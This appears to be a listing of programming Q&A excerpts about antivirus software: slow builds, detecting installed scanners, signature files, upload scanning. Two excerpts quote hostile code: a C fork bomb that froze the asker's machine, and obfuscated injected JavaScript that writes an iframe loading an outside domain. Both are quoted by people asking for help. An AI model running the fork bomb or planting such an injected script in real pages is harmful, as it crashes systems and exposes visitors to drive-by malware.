antivirus

Slowdown of Microsoft Visual Studio due to different Virus scanner

What is the least slow Virus scanner to use with Microsoft Visual Studio I have just had Microsoft Visual Studio “go slow” on me again due to my Virus Checker… We all know that development tools do a lot of file access so are badly effect by Virus Scanner. Most of us have to run a Virus scanner due to do many reasons. So has anyone...

Detect Antivirus on Windows using C#

Is there a way to detect whether there is an antivirus software installed in a machine using C#? I know the Security Center detects antivirus software but how can you detect that in C#? A link would be sufficient. :D Thanks ...

Antivirus (Symantec Endpoint) configuration for developer machine

What are your "Symantec Endpoint" configuration recommendations for a developer PC? We do java development with Eclipse, IntelliJ, Ant and Tomcat. With "Symantec Endpoint" the build and server startup are quite slow. Replacing or removing Symantec is not an option. See also http://stackoverflow.com/questions/111226/least-intrusive-antiv...

How do antivirus programs detect viruses?

How do anti-virus programs detect if something is a virus or trojan? I'm from Turkey, please keep the English simple if possible, thanks. ...

Development machines and anti-virus policy

Our company uses Sophos Anti-Virus with a default configuration that performs on-access scanning on all files. We are considering turning this off for source code files but are concerned about the potential risk this poses. In our case these files are .cs files containing C# source code. Does this really pose a risk? Edit Within the ...

How to detect if a virusscanner and/or firewall is installed? (And a few other security-related Q's.)

I have an application and I'm trying to make sure it's running in a secure environment. First of all, I check if Windows is genuine, which makes it more likely that the user keeps it up-to-date. If not, I just pop up a message warning the user there's a possible risk because he still needs to validate Windows. Now, I want to do a bit mo...

Why does my antivirus program not detect this malicious behavior?

I wrote this C program and ran on my Windows system. My system hanged and not even Task manager was opening. Finally, I had to reboot. This is clearly a malicious program, but my antivirus does not detect this. Why? #include<unistd.h> main() { while(1) fork(); } ...

How does a Windows antivirus hook into the file access process?

The subject says it all. A normal antivirus has to intercept all file accesses, scan the files and then optionally deny access to the file (possibly even displaying a prompt to the user). How can this be done? I'm aware of a method called API hooking, but that's a really dirty undocumented hack - and as such isn't really reliable. What'...

Windows Server 2008 Antivirus Software with an API

I'm looking for an Antivirus package that is compliant with Windows Server 2008. That's not the hard part. What I need is an API layer on the Antivirus that i can call from managed .net code. For example: I am developing an Asp.Net (C#) website that allows users to upload files to the web server which the web site resides on. We have fu...

Decompiling EXE to ASM

I want to make a basic antivirus for my free time. Basically I learned about the basic structure of the EXE(windows) file. How do I extract the ASM code from the file and the PE header? ...

Programatically stopping a specific chunk of code in html/javascript/css

The server that has my website on it also has a virus on it. The virus injects the malicious code <b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6...

How to go about a file upload in a Web Application (ASP.Net, C#, IIS)

Requirements: On a web page in our web application, we have a requirement to upload a file. The file is most likely to be a pdf (pdf file has form fields filled in by users), or scanned jpeg/tiff/gif files in zipped format where user has scanned the form. The size of the file is likely to be be 3-7Mb. The file will be stored in as BLOD...

How can I test my applications against the popular virus scanners?

I need to find out whether my apps are being flagged as viruses by the most popular anti-virus packages (not best, but biggest by user base). I therefore would like to know how others go about this. Some background: I have an application written in Delphi. Ever since the Delphi virus was found, I've had problems with false positives on ...

Windows Executable to run Java application deleted by anti virus scanner

I built a Java application that is delivered on USB sticks. To ensure compatibility, I ship an appropriate JVM on the sticks. I made an EXE that simply invokes this JVM with the application jar. Now the problem: some virus scanners act aggressively and just remove the executable! I tried an exe made with a "Batch file to Executable" to...

List of suspected Malicious patterns

I am doing an anti-virus project by disassembling its code and analyzing it. So i want a list of the Suspected Malicious pattern codes, so i can observe which is suspected and which is not? so i want a list of suspected patterns only. Thank You for your Help. Abdelrahman. ...

How to separate virus signatures in a virus signature file

I am doing an anti-virus project, I have a signature file and I want to separate the signatures in it. It is all beside each other and in hex, is there is a delimiter or something?? Thank you for your help. Abdelrahman. ...

Use Microsoft AntiVirus API for File Upload Scanning

Has anyone here used Microsoft Anti-Virus API to scan file uploads using any anti-virus ? What is your experience. I want to use mcafee, trend or other well known AV to be called programatically. ...

Get notification when a new drive is connected via USB or other means (C#)

I need to detect when a new drive is plugged into a Windows system through a USB port, firewire port, etc. I am aware of the WM_DEVICECHANGE message, but this requires a window to be open in order to use it. Is there a way to create a background process in C# that detects when new drives are plugged in? Background info: I am wanting to ...

Please help me with a program for virus detection using detection of malicious behavior.

Hi, I know how antivirus detects viruses. I read few aticles: http://stackoverflow.com/questions/1396443/how-do-antivirus-programs-detect-viruses http://www.antivirusworld.com/articles/antivirus.php http://www.agusblog.com/wordpress/what-is-a-virus-signature-are-they-still-used-3.htm During this one month vacation I'm having. I want...

Can anyone de-obfuscate this exploit?

I came across the following exploit due to a warning from my AV software. It originated from an adserver delivering banner ads on one of my sites. I have retrieved the content with Wget and copied to pastebin. http://pastebin.com/m6fa38fac [Warning: Link may contain malware - Do not visit from vulnerable PC.] Please note that you have...